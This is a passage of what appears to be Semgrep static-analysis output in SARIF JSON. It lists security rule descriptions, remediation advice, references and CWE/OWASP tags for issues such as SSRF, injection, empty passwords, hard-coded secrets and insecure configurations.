Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.insecure-redirect.insecure-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","id":"java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","name":"java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","id":"python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","name":"python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services."},"help":{"markdown":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.local-biometrics.insecure-biometrics)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.local-biometrics.insecure-biometrics","id":"swift.biometrics-and-auth.local-biometrics.insecure-biometrics","name":"swift.biometrics-and-auth.local-biometrics.insecure-biometrics","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.local-biometrics.insecure-biometrics"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections."},"help":{"markdown":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings)\n - [https://docs.microsoft.com/en-us/aspnet/web-api/overview/advanced/http-cookies](https://docs.microsoft.com/en-us/aspnet/web-api/overview/advanced/http-cookies)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.security.formsauthentication.requiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_FormsAuthentication_RequireSSL](https://docs.microsoft.com/en-us/dotnet/api/system.web.security.formsauthentication.requiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_FormsAuthentication_RequireSSL)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.security.roles.cookierequiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_Roles_CookieRequireSSL](https://docs.microsoft.com/en-us/dotnet/api/system.web.security.roles.cookierequiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_Roles_CookieRequireSSL)\n","text":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","id":"csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","name":"csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass."},"help":{"markdown":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#network_acls](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#network_acls)\n - [https://docs.microsoft.com/en-us/azure/key-vault/general/network-security](https://docs.microsoft.com/en-us/azure/key-vault/general/network-security)\n","text":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","id":"terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","name":"terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"help":{"markdown":"RSA keys should be at least 2048 bits based on NIST recommendation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","id":"java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","name":"java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. Switch back to another user after running commands as 'root'."},"help":{"markdown":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. Switch back to another user after running commands as 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.last-user-is-root.last-user-is-root)\n - [https://github.com/hadolint/hadolint/wiki/DL3002](https://github.com/hadolint/hadolint/wiki/DL3002)\n","text":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. Switch back to another user after running commands as 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.last-user-is-root.last-user-is-root","id":"dockerfile.security.last-user-is-root.last-user-is-root","name":"dockerfile.security.last-user-is-root.last-user-is-root","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.last-user-is-root.last-user-is-root"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)\n - [https://guides.rubyonrails.org/security.html#command-line-injection](https://guides.rubyonrails.org/security.html#command-line-injection)\n","text":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec","id":"ruby.lang.security.dangerous-exec.dangerous-exec","name":"ruby.lang.security.dangerous-exec.dangerous-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-exec.dangerous-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","id":"rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","name":"rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data."},"help":{"markdown":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag)\n - [https://www.developsec.com/2017/11/09/xss-in-a-script-tag/](https://www.developsec.com/2017/11/09/xss-in-a-script-tag/)\n - [https://github.com/juice-shop/juice-shop/blob/1ceb8751e986dacd3214a618c37e7411be6bc11a/routes/videoHandler.ts#L68](https://github.com/juice-shop/juice-shop/blob/1ceb8751e986dacd3214a618c37e7411be6bc11a/routes/videoHandler.ts#L68)\n","text":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","id":"javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","name":"javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","id":"python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","name":"python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","id":"swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","name":"swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `exec` method it can result in Remote Code Execution"},"help":{"markdown":"If unverified user data can reach the `exec` method it can result in Remote Code Execution\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If unverified user data can reach the `exec` method it can result in Remote Code Execution"},"helpUri":"https://semgrep.dev/r/javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","id":"javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","name":"javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","id":"csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","name":"csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n"},"help":{"markdown":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n"},"helpUri":"https://semgrep.dev/r/trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","id":"trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","name":"trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"help":{"markdown":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network2)\n","text":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network2","id":"python.lang.compatibility.python37.python37-compatibility-ipv4network2","name":"python.lang.compatibility.python37.python37-compatibility-ipv4network2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv4network2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSH Password detected"},"help":{"markdown":"SSH Password detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-ssh-password.detected-ssh-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SSH Password detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-ssh-password.detected-ssh-password","id":"generic.secrets.security.detected-ssh-password.detected-ssh-password","name":"generic.secrets.security.detected-ssh-password.detected-ssh-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-ssh-password.detected-ssh-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","id":"python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","name":"python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","id":"python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","name":"python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the 